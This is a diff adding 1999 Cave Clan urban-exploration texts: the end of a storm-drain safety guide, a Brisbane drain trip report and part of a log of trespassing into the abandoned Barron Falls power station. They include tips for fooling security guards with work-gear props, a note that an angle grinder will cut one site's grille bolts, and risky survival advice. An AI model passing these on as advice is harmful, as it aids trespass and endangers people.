+ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
+
+Macro
+ÄÄÄÄÄÄÄÄÄÄÄ
+The megafauna (eels, spiders, rats, turtles, yabbies etc) are generally not
+a problem unless provoked. Redbacks and Funnelwebs are killers so either
+kill 'em or leave 'em alone. Eels get stroppy if stood upon so look out for
+them... eels seem to have a particular dislike of light sources, and will
+attack submerged torches when not trying to hide. Rats will hear you coming
+and go away quickly, but will fight when cornered. Leeches are rare. You may
+find the odd snake in a 300mm side feeder or gutter box. You will sometimes
+find bats, birds and their nests. Large numbers of hibernating bats are
+sometimes found on the roof of drains. Some may carry Lyssavirus, which was
+responsible for a fatality in Queensland in 1996. They will not attack you,
+just leave them alone. They will do their utmost not to fly into you.
+
+Mosquitoes tend to aggregate in stagnant puddles, they are worth your
+vigilance due to the pathogens they carry.
+
+Burzum discovered a chicken (bock bock b'gerk) resident in a drain in
+Bankstown in 1996 but this is somewhat unusual. Apparently the thing was
+unlucky enough to find itself in the canal upstream of Wormhole, and it is
+unable to fly out. It lives on cockroaches and worms in the sediment.
+
+I have yet to see a saltwater crocodile in a drain but I wouldnt be surprised
+if such were found in Darwin, where the tides are huge (8 to 10m) and the
+crocs are plentiful. I could only suggest that you carry a 12Ägague shotgun
+with solid load shells, since crocs are fast, powerful and vicious. They are
+also patient, and if you go up a shaft will probably wait for you to come
+down again. These dinosaurs have not lasted for as long as they have by being
+stupid. Note that discharging a shotgun, pyrotechnic or explosive device in a
+confined space like a tunnel will significantly damage your hearing if you
+wear no earplugs, and the smoke from the burnt propellant is a respiratory
+irritant.
+
+If one night you are in a tidal drain and notice the water glows green around
+you, do not fret; it is not radioactive waste causing this (which usually
+glows blue, if you're interested), rather a planktonic dinoflagellate called
+Noctiluca Scintillans. These bioluminesce (luciferin/luciferase oxidation)
+when disturbed by physical shock, heat or electric current. The chemistry they
+employ to make light is copied in Cyalume sticks. They're pinkish, transparent
+and about 1mm across, and completely harmless.
+
+Typically bottom feeding fish also inhabit tidal drains, mullet particularly
+so... these will leap out of the water as you approach, and since they don't
+fly very well, they will sometimes hurtle from the water right into your face.
+
+Humans, perhaps more than any other animal, should be treated respectfully.
+Don't hassle 'em. Security guards, and cops, are best avoided, due to their
+intrinsic and amazingly tenacious stupidity. They can often be socially
+"engineered" into ignoring you, via the use off "righteous presence" body
+language, especially when this is assisted by props like hardhats, overalls,
+and work boots, but this will not always work.
+
+Occasionally you will meet someone who lives in a drain or abandoned factory
+and they may consider you a trespasser. Since the economic rationalisation of
+the mental health system more and more disturbed individuals have been turned
+loose to fend for themselves. They tend to live in cheap housing such as the
+places we explore recreationally. When one is a guest, one respects the wishes
+of the host. If they suggest you should fuck off, don't wait for a stronger
+invitation. Sometimes, however, they are quite friendly and enjoy a visit.
+
+
+Micro
+ÄÄÄÄÄÄÄÄÄÄÄ
+Generally it is the microscopic inhabitants which cause trouble. Drains carry
+significant amounts of sewer overflow, dog shit, rotting plant material and
+the occasional dead animal. Particularly after rain, drains contain elevated
+levels of sewer material, since the sewer is built to overflow into the storm
+drainage system instead of bursting out ino the street where the population
+can see it and get ill from it. If cut in a drain, attend to it as soon as
+possible with ethanol or other disinfectant. Deep puncture wounds (stepping
+on nails, broken glass, etc) are open routes to clostridium tetanii (tetanus).
+
+Faecal Escherichia coli bacterium is common... indeed, most of the waterborne
+pathogens and parasitic organisms are available to you, including things from
+the pseudomonas family, the vibrios, the aerobacters, the proteus group,
+paracolobactrum, salmonella, various tubercelle bacilli... all of these are
+happy in water and use it as a transmission vector.
+
+Those above are treated by antibiotics. Shigella tends to not show up, nor do
+moraxellae, the bacteroides, and the putresing animal inhabitants like
+sphaerophorus are uncommon. Strep and staph are unusual, though clostridium
+botulinum and bifermentans are known to take aquatic vectors on occasion.
+
+The virii are another matter. These pathogens are generally rare in storm
+water, preferring aerosol vectors (expelled droplets). Some use insects as
+their preferred mode of transmission. A somewhat newer player on the molecular
+scene is Ross River fever, which is a virus and carried by mosquitoes; the
+first case of this was reported in Sydney occurred in Jan 1995. Experimental
+DNA vaccines exist for this virus but I am unaware of them reaching commercial
+availability. Mozzies will breed in stagnant poos of drain water so explorers,
+particularly those in the northern climes, are advised to seek preÄtreatment
+for this too. As mentioned, some bats now carry Lyssavirus. Contact a
+pharmacist and your GP.
+
+From the fungi and worm families, one finds the Ctenomyces interdigitalis
+(tinea) eumycete is uncommon, though the pathogens for ringworm and the
+favosan tinea dermatomycoses are present usually. Histoplasmosis is a fungi
+mainly obtained from pigeon shit dust which contains the spores... another
+reason why these pests are known as the rats of the air. It can become chronic
+and has permaturely ended lives of cavers, generally knocking the shit out of
+your lungs first, then ulcerating the respiratory tract, including nose and
+ears, eventually going for bone marrow.
+
+Protozoans are rare, the amebiasis and the Toxoplasmosis Gondii pathogens
+mainly reside in the sewer system. As for the elusive cryptosporidium... who
+knows. If it can get in your drinking water, you'll probably find it in
+stormwater too, and if ingested this protozoan will cause diarrhoea and
+stomach cramps. Giardia is also occasionally found in stormwater.
+
+Worms tend to use a snail vector which is not common to Australia. Many kinds
+of algal singleÄcelled life exists but have only caused trouble in plague
+numbers (red tides on seashores or blue-green algae in well-lit rivers with
+excessive fertiliser loads) and are generally not encountered in such numbers
+in drains.
+
+In theory one could conceivably get anything from a sewage overflow into a
+drain. Cuts are common when one falls over, and people have occasionally
+ingested runoff unintentionally. VERY nasty things are more common in sewers
+than stormwater: Leptospirosis, for instance, is contractable via the skin,
+and can live for 3 weeks in fresh water (but is killed relatively quickly in
+salt water). Leptospiria icterohaemorragiae, the causative agent, will kill
+you in a week or so, or at least damage your hepatic and renal systems.
+Trouble is, it appears as a cold, rapidly degenerates into pneumonia, and
+then kills you due to fun things like hepatic failure. You have to smash it
+with antibiotics during its incubation period, after which time it is too
+late and you tend to die.
+
+One never can tell when it will happen. To date noÄone in the Clan's 15 year
+history has died as a direct result of being in a drain, though some members
+have suffered physical damage at the hands (or feet) of the constabulary.
+We have had deaths through cerebral annuerism, suicide, motorbike and
+mountaineering accidents but our safety record is so far unparalled.
+
+Thus I suggest prior immunization. I am immunised against meningococcal
+meningitis, typhoid, Hepatitis A, Polio, diptheria and tetanus, amongst other
+things. You can also take bootÄtoÄarmpit waders, however this may not be
+acceptible to followers of Catholicism who tend not to believe in barrier
+methods. They are a little constrictive but really do keep you dry, as I found
+when I was wearing them 6 hours a day working for a drain repair company.
+
+ Hey... are we professionals or what?
+
+ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
+³ 8) Oh shit, it's raining, help! ³
+ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
+
+Catchment, tides, rain and what to do in a flood.
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+Hopefully you will never need to use this info but I am putting it here since
+it may save your life. Prevention is certainly better than cure. Now then, all
+drains have what is known as a catchment, that is, the area where rain falls
+and eventually goes into a drain. Many drains have very, very large catchments
+and you can often tell this by their size Ä a general rule of thumb is that
+the bigger the drain, the bigger its catchment. When it rains over the main
+catchment of a drain, it takes a few minutes to actually get the system loaded
+with water... there are gutter pits to fill, roads to be wet and the like.
+
+It is these few minutes which, when used appropriately, can make all the
+difference to the length of the rest of your life. A large catchment can dump
+a couple of megalitres of water into a drain in a few minutes. This and its
+entrained debris (wood planks, old refrigerators, bottles, etc) will travel
+down the drain with frightening speed... 50km/h and higher, you will be
+continually bashed around by the turbulence and totally powerless to grab
+anything at such a speed if it catches you. If you don't drown you will
+probably suffer serious physical and psychological trauma.
+
+The last thing you want is to inflict the responsibility of rescue upon some
+poor SES member or fireman who really doesn't need to risk his life getting
+you out. To jeopardise the lives of such people is selfish and stupid. So,
+don't permit yourself to relax so much underground that you fail to heed the
+signs of impending disaster and get into a situation you cannot control.
+
+
+Rain and the legendary flash flood.
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+The media and authorities point to the alliterative "flash flood' phenomenon
+quite a lot. Flash flooding Ä flooding without warning Ä is bullshit. It does
+NOT happen. You have between two and four minutes to get out, up a shaft or
+on a high ledge before the system is primed... IF you know how to read the
+signals and don't mess about getting to high ground. You can generally tell
+if the drain you're in has ever flooded to the top, look for polystyrene bits
+stuck to the roof or bits of plastic and stick protruding from high stepirons
+or joints in the pipe or walls.
+
+Pay attention to what's going on
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+Things to notice when a drain is filling up: the air currents change, as does
+the noise level. A quiet drain soon gets noisy as the side tunnels and drop
+junctions start dumping into the main canal. When lots of water goes into a
+drain, the air is displaced, and you notice big gusts of wind... this is
+particularly true if the roads were hot when the rain landed on them; the
+warm water goes into the drain, heats the air above it, which expands,
+pushing cold air out in front of it.
+
+Ok, so you're up a drain and notice the side tunnel flow increasing a bit.
+Check the water. Is it dirty? Is it oily? If yes, it is likely to be raining
+and you're in something far worse than deep shit if you don't do something
+about it.
+
+Temperature of floodwater can be an important clue, especially on hot summer
+days. During a sunny day, the roads and roofs heat up. If it suddenly rains
+on these hot surfaces, the rainwater gets very warm, then it goes into a
+drain en-route to the ocean. Generally the feeder pipes are buried deeply
+enough to remain cool, and they will cool the runoff before you get to
+stick your hand under it where it drops into the main pipe where you are.
+If there is a LOT of rain on a hot surface, there will be enough runoff
+staying warm enough to be noticeably warm by the time it reaches you in the
+main pipe. Hence, hot runoff is very bad news.
+
+Note that in colder months, everything is cold, you can't use this clue. If
+you're unsure, assume rain... underground it is a case of the quick and the
+dead.
+
+All these are warning signals that a lot of fast moving H2O is coming your
+way in a hurry, and that you should get out of its way. 1000 litres of water
+weighs a tonne. You get a lot more than that in a flood, and it's very hard
+to walk against it. Can YOU stop a 1-tonne car rolling toward you at say,
+10 meters per second, by standing in its way? Not very much.
+
+You will occasionally get false alarms, like the time we were in the Tank
+Stream, and a pipe started pissing out water, and stopped 30 seconds later.
+We later determined that this was a council street sweeper truck spraying
+water into a drain then moving on.
+
+Brown Water Rafting
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+If one has a lilo or inflatable dinghy one can actually ride the underground
+rapids, as some individuals in the Clan have been known to do. It is loud,
+fast and an excellent rush, but barnacles, nails, exposed steel reinforcing,
+broken glass and rough cement are very unforgiving of equipment and
+adventurers. Cheap dinghys are available - K-mart's legendary $17 Explorer 100
+and Explorer 200 series represent a dinghy which will do the job, and is
+cheap enough to condemn (or abandon) if seriously damaged. A full-steamer
+neoprene wetsuit will keep you warm and restrict your abrasions and bruising.
+Stormwater rafting should obviously not be attempted in a tunnel with a
+waterfall, staircase, sump or steep slide downstream of your point of access,
+and is not generally recommended to those who wish to live into old age.
+
+Emergency escape tactics.
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+First thing to do is keep cool and rational, don't panic. You are in control.
+Then leave in a hurry. What if you're 2km from the entrance? Well, use your
+brain. Water heads for the lowest point... so go to the nearest, preferably
+downstream manhole shaft and climb up it, and wait for the flood to scream by
+below you. You need not pop the cover, just stay in the shaft, and climb
+higher than any `bathtub ring' of polystyrene balls and dead grass you see on
+the shaft wall. Be warned, you may be up there a long time before the raging
+torrent desists. It will be loud and frightening, but breathe calmly,
+conserve your airspace.
+
+If there is a protruding wall and you can't get up a shaft in time, get in
+close to the downstream side of that wall. This is not very safe but it is
+better than standing in the path of the oncoming maelstrom. Hanging from a
+grille is not so good either, you will be dumped on (and may lose your grip)
+but that might be better than being flushed a few km at high speed. Staying
+out of the flow is megaÄpriority... nothing can ruin your day like a derilect
+lawnmower in the back of the head, and there are nastier things in the
+feeder canals than old 44 gallon drums; roofing beams, bits of rail track,
+shopping trolleys. The flow smashes them all along, and they are bad news.
+
+Another option in the tidal drains is to get in the tidal water. This water
+represents a momentum buffer to all the junk in the drain, and it tends to
+slow the current down, but only a little. You wind up getting pushed out into
+a harbour or bay or mangrove, wet and dirty but generally unscathed, though
+you might be significantly abraded by the barnacles and other encrusting
+organisms (molluscs, bryozoans, etc) which tend to live on the walls in the
+intertidal zone. You need to be at least as deep in the tidal water as the
+depth of the oncoming flood to get any protection. There is often a raft of
+floating junk caught behind a pollution boom, and this is another risky
+nuisance, diving below it may help prevent your entanglement in the morass.
+
+Anecdote: A friend and I were in a drain (Sin City) with a large, far away
+catchment. We got in and rode bikes about 400m up the tunnel. I noticed the
+wind change and told my mate to stop. He stopped. I said "Funny, you don't
+generally get this sort of air movement in here. I think we'd better go."
+I turned my bike around and the gust increased, becoming warmer. My mate
+looked reluctant, but I hopped on. "We," I said "are getting the fuck out of
+here. Right now." which we did, reaching the exit in maybe two minutes.
+
+We tossed our bikes out of the canal and climbed out. We sat on the edge for
+maybe a minute before the flow reached the exit we had just stood in. First a
+leafÄstrewn fan of street refuse on dark water, then a spume of floodwater the
+best part of a metre high thundered around the corner and out of the tunnel.
+We looked at each other without saying anything as the juggernaut spewed by
+below our view. A beer keg clanged by us, as did a rapidly disintegrating
+television set (they float!).
+
+Nearby were some broken concrete sections. My friend and I both strained hard
+to manouevre a slab of the stuff to the lip of the tunnel, and it dropped in
+with a loud `sploof'. We waited for the flood to subside. We looked where the
+maybe 60kg of reoÄcement fell in and there was no trace of it 'cept a dent in
+the canal floor. Amazed, I then decided to find out from where the flood came.
+Riding fast upstream on the road by the canal, I ended up at a sharply
+defined boundary where the road was dry and suddenly wet... the cloudburst
+boundary. I was 3km from where we hopped out of the drain.
+
+
+Tide-lock
+ÄÄÄÄÄÄÄÄÄ
+Another hassle one experiences is tideÄlock. That is, being up a tidal drain
+which you entered when the tide was down and rising, to find that when you go
+to leave by this route, the water is up and the roof disappears underwater.
+
+This is an avoidable problem, many boating shops and marine equipment supply
+places give out tide charts for free and there is a DialÄaÄTide service on
+the telephone. We advise you not to try roofÄsniffing in order to leave, since
+wave action can suddenly deprive you of air. An emergency method of leaving
+if you have a lilo or dinghy is to breathe from it, as you drag it along
+downstream as you walk underwater to the exit, though this is a tricky
+procedure and you will have limited vision, not to mention a lot of drag from
+the lilo against the roof, as you do it. You will need to use one hand to
+prevent water going up your nose as you go along, and the water pressure on
+the lilo will force it to 'blow' into you as it deflates and you breathe from
+it. Only do this if you know how far you have to go. The lilo will go skyward
+when no longer confined by a roof; don't let it go Ä plug it if you can and
+use it as a buoyancy aid. You can commonly get 50 or 60 lungfulls of rubbery
+or phthalate-smelling air by doing this. We don't recommend it. Tides in
+Sydney are just over 2.4m at High Astronomical Tide (the December king tide).
+
+Well, that's it. I think I have written more than enough about the fine art
+of drain exploring. Thank you for your attention, kind regards...
+
+ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
+³ 9) Disclaimer / Job-creation scheme for bureaucrats and related parasites ³
+ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
+
+ Cave Clan and its membership probably doesn't know or care what you think.
+
+ Companies + organisations mentioned herein probably don't condone Cave Clan.
+
+ Cave Clan denies responsibility for actions consequent to perusal of this
+ document. They didn't write it.
+
+ This file comes free, exclusive of dealer, statutory and delivery charges,
+ and no guarantee of satisfaction is expressed or implied.
+
+ declares preemptive indemnity against prosecution for use of
+ unauthorised thought processes during the compilation of this .TXT.
+
+ All care is taken to ensure data contained herein is correct but
+ doesn't give more than about 0.06 of a shit if it isn't. Responsibility for
+ personal actions rest with their respective enactors.
+
+ Written under the freedom of the (key)press and the freedom of information
+ act (which is purported to exist in Australia but really doesn't),
+ 1995, 1999. Updated/revised 1996, 1999.
+
+ This file is available for free distribution, and may be quoted from if the
+ source URL is accredited. Censorship be fucked forever.
+
+ Send us a blank, stamped envelope and we will use it for our mail.
+
+ thanks and acknowledges Cave Clan members for their help and
+ suggestions during the compilation of this file.
+
+ Resistance is futile. Go in drains. You must comply. You will be assimilated.
+
+
+ a Cave Clan Sydney production
+ December 1999 Australia.
+ S. Hemi, Planet 3, Sol
+
+

+ + diff --git a/aquacave.txt b/aquacave.txt new file mode 100644 index 0000000..448a424 --- /dev/null +++ b/aquacave.txt @@ -0,0 +1,119 @@ +File: aquacave.txt +Cont: Description of Aquacave, a recently discovered big drain in + Bowen Hills, Brisbane, Queensland, by . December 1999 + +Finally I had my motorbike back from the motorbike shop in Kew NSW (which had +the approrpiate name of "Far Kew") and could hit Brisbane again. I met Ogre +in his luxury Brisbane apartment an hour earlier than he expected because I +forgot to wind my watch back one hour when I crossed the QLD/NSW border, duh, +so he was still half-asleep when he opened the door. I said hello to Dirge +while I got the blood circulating in my legs again after sitting on the 400cc +Predabike for the last four hours... those gloves I found in Charity Creek +room (under Victoria Road, Ryde) made excellent motorbikin' gauntlets. + +Brisbane had turned it on for me again. Rain, that is. I was itching to do +this new drain that I'd heard Ogre and Trioxide raving about on the web ring, +but it was pissing rain. Dirge hadn't done the power station yet and was +headding back to Sydney the following day and wanted value for her Brisbane +Railpass dollar. We decided to have another look at the Tennyson Power +station. We got off at Milli-Vanilli-Silly-Billy-Yeerongpilly station and +trudged out to the powerhouse. + +We scanned the perimeter for a secluded site where we could enter. Ogre, being +the big beast he is, couldn't fit through the tight squeeze which permitted +Dirge and I into the sub-basement, and he pulled off a heroic climb up the +bars and through a gap four metres off the ground, and also disposed of some +chicken wire, before getting in. + +The place hasn't changed much since I was last there (see: Tennyson.txt) and +this time we went all the way to the very top of the roof, in the freezing +rain and wind. There was an amusing situation where, at one end of the +plant, we looked down at the dwelling where the security guard lives, to +determine the whereabouts of the guard dog which was responsible for the dog +shit distributed throughout the place. There it was, being fed its bowl of +dinner, by none other than the security guard wearing only his black hipster +underpants and a wristwatch. Well, there's no likelihood of being busted here, +we grinned, and kept exploring until we ran out of light. + + ** + +Dirge and Ogre went home to their rooftop party and I got the train to Bowen +Hills Station, which is about 250m from the entrance of Aquacave. The entrance +is at the corner of Sneyd St and Campbell St, Bowen Hills (Gregorys: 250-F1) +down a steep embankment near a Queensland Rail depot. I got there in the dark +and it had stopped raining, but the tunnel spewed a torrent down the canal. I +weighed it up: it's an unfamiliar drain, probably with a big catchment (turns +out it services most of Fortitude Valley so the floating payloads could be +unpleasant too) it's night time, the clouds are threatening, and if I go in +there and it rains, I'll probably die. Aw, shit. + +Yes, the threat of death keeps out of drains, but only so he can +come back the next day - which, fortunately, was on a bright sunny morning +while the tide was out. It made the whole journey worthwhile. + +Aquacave is the best drain I have explored in Brisbane. It is better than +Batcave, better than Brisbane Darkie and One Hundredth, all of which are quite +worthwhile drains. Aquacave is long, has lots of interesting rooms, ancient +sections and shape changes, a nice loop, and is vertically user-friendly for +almost all of its length. + +The first part, up to the junction, is roughly hacked in a straight line +under Sneyd St, straight out of the tuff, with cement-bevelled sloped +bottom edges. At other points the tuff has been hewn into large blocks and +these make up the walls. + +At the junction these bevels become too steep to walk on. You have to +negotiate a large step to take the right hand fork, and it's loud due to all +the water flowing over it. This fork takes you up the 2m concrete rectangular +section to a large (6m tall, 20m long, 10m wide) arched red brick room beyond +which is another 2m concrete section, which promptly takes you to the grilles, +which are probably in Victoria Park someplace and from which I have not heard +any reports of an exit without two people to lift them. + +I went back to the junction and took the left fork. The shape changes to 3m +high, moulded concrete with a sloping invert and concreted-in beams in the +roof every couple of metres. This converts into a 2.5m old round pipe, which +is soon replaced by a welcoming, much older and larger section with its +own natural lighting, and what appears to be bluestone block flooring and +walls, about 2.5m high by 3m wide. This comes quickly to another junction, +the right continuing on as is, the left is a debris-strewn 2m round concrete +pipe, similarly well lit. + +I followed this round one through several small corner rooms, via a room +which has a weird pointy-edge-upstream, wedge-shaped steel plate conduit +duct, with lifting bolts on top, across the middle of the drain at about +waist height. The round tunnel section then comes to a concrete room which +connects with the old bluestone conduit section, and also connects to an +even older bluestone section 1m wide, 2.5m high (finally they got the height +and width the *right* way around!) with eroded bluestone or brick floors, +and beveled top shoulders. I frequently placed my foot where I expected floor +to be, and only ended up landing at the bottom of a half-metre deep puddle, +awkwardly loading my foot or bruising my ankle. + +This is a old, long, serpentine section, interrupted periodically by 2 x 1 x 3 +concrete rooms with new (1990s) manholes and stepirons. It is also interrupted +by a strange concrete section 4m high, 1m wide at the bottom half, and 2m +wide at the top half. Shape changes galore, and they don't stop there. Some +of the bluestone wall sections slope gently outwards, and have these annoying +iron cross-bars at chest height every few metres. Once the bluestone-upright +segment ends, it is replaced with another shape change, first of the permanent +shrinkers - a kind of dished bowl shape with vertical walls and a shallow +domed roof. + +I was conscious of the time and the tide, and after a couple of hours up this +excellent tunnel I tagged up on some PVC conduit and headded home via the +other side of the bluestone loop. On the way out I noticed the shape of the +exit had changed - the dished bottom had been replaced by a flat horizontal +line, which means one thing - tide waters... so *that* was where the name +came from! I made it to the exit with water almost up to the crease of my +butt cheeks, and I was standing on tip-toe for much of the wade out. With wet +shoes it is a bit of a scramble to climb up and out of the trench, use the +right hand side as you face downstream, and leave happy wet footprints up +Campbell St as you return to the rail station. + +G@tew@y Bridge will need nothing less than a battery powered angle grinder. +The bolts are about 12mm dia SS round rod, the site is very exposed and lit at +night. + + +, Cave Clan Sydney Branch, 22/12/1999 diff --git a/barron.txt b/barron.txt new file mode 100644 index 0000000..ba4d811 --- /dev/null +++ b/barron.txt @@ -0,0 +1,374 @@ +File: barron.txt +Cont: Data on accessing the abandoned power station at Barron Falls, Kuranda + (near Cairns, FNQ, Australia) +Date: 18 June 1999 +By : + +This is a legendary Cave Clan epic. Following in the footsteps of Diode, +who had explored the area a decade before the Clan even existed, a lone +explorer motorbiked about 1700 miles to the far-flung northern Queensland +outpost of Kuranda in search of trespass, wicked hidden places and awesome +photographs of dodgy old infrastructure. The site was finally infiltrated +on May 24, when turned 28. + +This rant is the personal log of the on the Clan's most +northerly Australian conquest. + +------------------------------------------------------------------------------ + +Cairns is about 2700km north of Sydney. Kuranda is a small town on the +mighty Barron River about 50km north of Cairns. Barron Falls is about 2km +out of Kuranda, and is part of Barron Falls National Park. It has its own +railway station with a line from Cairns, and this rail station, which +overlooks the falls, is where the journey down to the abandoned Barron +Falls power station begins. I originally climbed across the wier at the +top of the falls. This demands a risky trek along the railway cutting +(which has no extra clearance for people when the train comes around a +blind corner) then a scramble down a scree slope strewn with loose leaves +and railway metal. With some effort I made it up to the touristy region +built near the Skyrail tower. The cool earthy whiff of the forested river +is replaced by the esterified stink of toilet deodorant blocks and the +clank and squeak of motors and machinery which drive the cable car +station machinery. Who permitted this place to become a theme park for +rubber-neckin' tourists who haven't the guts to brave the trees on foot? + +On the Skyrail side of the Barron River wier is a concrete inlet tower, +at the base of which is a heavy metal debris screen, which used to take +water into the penstock far below, but it is fairly well secured and +probably pointless to get into anyway. + +The tourist displays at the Skyrail station say this: +----------------------------------------------------------------------------- +1) Water power. + +In 1885 the explorer Archibald Meston described the Barron Falls in flood +where the raging waters `rush together like wild horses as they enter the +straight in the dread finish of their last race ... (where) the currents +of air created by the cataract waved the branches of the trees hundreds +of feet overhead ... the rock shook like a mighty steamer tumbling with +the vibrations of the screw.' + +Decades later these waters were harnessed to generate Queensland's first +hydroelectric power. Two hundred metres below where you are standing an +underground power station was carved into the cliff face. Water was +delivered through pipes to drive the turbines, two 1200kW turbo-alternators. + +The substation, workshops and staff houses were built around the area now +forming the Skyrail station. Look out for the concrete engine mount blocks +and fence posts as you wander around.They are some of the more obvious +remains of the power station. + +Delivering equipment was complex. It first came by train to a rail siding, +was transferred over the falls and then lowered by tramway to the worksite +below. + + +2) Power in the Rainforest +The idea to build a hydroelectric power station on the Barron River was +first suggested back in 1906. It was nearly 30 years before the dream was +realised. + +The site presented many challenges : precipitous cliffs, torrential rain, +and raging floods were foremost. Hauling equipment from Cairns was +relatively easy. There was no road in the early 1930s but there was the +railway on the opposite bank. Getting across the gorge was another matter. +The flying fox solved that problem. A fragile bridge built across the top +of the Barron Falls failed to withstand the floods. Plans to build an +outdoor station had to be abandoned. Earthworks proved too unstable. + +Going underground proved relatively easy. That is, once the tramway was +built down the nearly vertical clifface. + +By 1935 those years of frustration had been largely overcome. In November +the Governor of Queensland offically opened Queensland's first +hydroelectric power station. + +It was popular. Demand soon exceeded supply. In 1940 the two 1200kW turbo +alternators were supplemented by a 1400kW unit. Twenty years later the +present Barron Falls power station was commissioned. It generated 60 +megawatts of power. +------------------------------------------------------------------------------ + +Naturally, in a country where heritage is thought best sent to the local +tree shredder or mashed into landfill by a D9 bulldozer, the sad addendum +to this amazing story of engineering is that the place was decommissioned +in the 1960s and subsequently, very thoroughly trashed - a metaphorical +precis of the history of our species, it seems. Nature has nevertheless +invaded the skeleton and the station is now home to bats and various other +organisms, which cloak it in the timeless decency deserving of such a +noble corpse. + + ** + +Barron Falls is, visually, a mightily impressive gash in the forest and rock. + +From the far upstream (Kuranda) end of the station, you can spot a white +seam of quartz in the rock at the bottom / distant downstream visible end +of the gorge. If you trace your eye along this you will spot a small dark +hole, which was the power station's wastewater outlet and which is about +10 feet tall. + +The jungle hasn't quite overtaken the little brown cement and corrugated +iron blockhouse on the opposite cliffside, but it's making progress. It +appears as a brown speck with a silver and black speck beneath it, in a +carpet of greenery. The black speck is where some of the sheet metal is +missing from the remains of the attempt to seal the place up with +corrugated iron, which provides the silver speck. The brown speck has +writing on it but there's no way to resolve it at this range. To enter the +station, this is where you must go. + +The gorge is very, very steep. Getting down was going to be a nontrivial +exercise. + +On my first attempt at finding a way down I met nothing but cliffsides, +screeslopes and sheets of entangled thorny plant life. I eventually asked +a local chap named Greg Taylor about the place, and he came up with the +name of a guy who had a clue, who gave me a pretty close description of +how to find the track to get down. Greg had a wrenching lifestyle change +forced upon him years ago in a car accident, which compells him to get +around in a wheelchair, and hence I was unable to even consider badgering +him into coming down the cliffside with me for logistical reasons. The +cliffside has not yet been fully converted for wheelchair access (and holy +shit you'd need good brakes to deal with it if it did) - the rugged geography +displays indiscriminate contempt for all who attempt to negotiate it, several +rock climbers have met their messy gravity-related ends in this setting. +The eventual journey, its photos and this text are unlikely to have ever +been carried out without the local information he provided. So if you ever +get this file, thanks for the info Greg dude. Oh, and thanks again for +sending my towel back to Sydney, too. + +I had to look around for a long time to find the track which permits you +to descend to the bottom of the gorge. It has been deliberately hidden, +the signs which designated its existance have been uprooted but remain +lying in the nearby undergrowth. The access to the track is either by +squeezing past, or vaulting over, the black railing fence on the upstream +side of the large water tank. The first few metres of the track are very +degraded and crumbly, use *extreme* care getting through here - the +morbidly obese need not apply, and penalties for grip failure are severe. + +The rest of the track isn't particularly safe either. It narrows to 20cm +at some places, with significantly fatal sheer drops just past its edge. +The remains of handrails stick out of the ground, rusty bits of iron +attached to rotting bits of wood by siezed bolts and disintegrating +strapping. Some of the track is heavily overgrown by blackberry or lantana +and might require a machete or brushhook to penetrate. It is a long, +winding, steep trail, at the end of which is the next difficulty - the +riverbed. + +It is not a good idea to commence this trip when it is raining, and not +just because of storm flood waters (the weir mitigates this to an extent). +Rather, you need to cross the river, and the millennia of raging torrents +has slowly polished the rock to a high finish. When this is wet it is very +difficult to clamber around upon without a lot of defensive posturing and +experimentation to see if your next handhold or foothold will slip out of +your grasp when you really need to rely on it. Rain and falls-spray and an +unfavourable wind had lightly misted the rock surface, and it required all +my rock-climbing experience and caution to stop myself from sliding into +the swirling waters below. It was a relief to be off the rounded knolls +and buttresses, but even the horizontal surfaces are not to be trusted, +being lightly coated in living slime with particularly treacherous +lubricating properties. + +I eventually reached the quartz vein at the bottom of the river, with a surge +of excitement. I hadn't fallen, drowned, or become lost. I couldn't see the +blockhouse from this vantage point because the jungle had enveloped it, but +there was no mistaking the outlet port. I had a quick look at it, slightly +less than twice my height and about five feet wide. Rough hewn - no point +laying pipe to get the wastewater out when you could cheaply just dump it +back into the river. And - it was thoroughly sealed off by a mesh of 15mm +diameter stainless steel rods, mounted in holes drilled into the rock. Hmmm... +would the access facilitation tools I had in my pack be enough? Someone had +obviously gone to considerable effort to seal the place up. + +I didn't dwell on it as I searched for the path up to the blockhouse. Sweaty, +I clambered up through earth, moss and fern, using the occasional tree or +length of abandoned pipe or cable as an anchor, until I reached a heavily +overgrown and leaf-strewn staircase. Small plants were germinating in the leaf +litter, which was quite deep in places. On the steel railing hung the rotting +remains of tea towels and doormats... huh, what were they doing here? + +I crawled along below the weeds and finally made it to the doorway. The little +place was only about a metre wide, two metres high. A rusted fan was +vertically mounted in the top of the roof slightly offset from one wall, I +couldn't tell if it was meant to suck 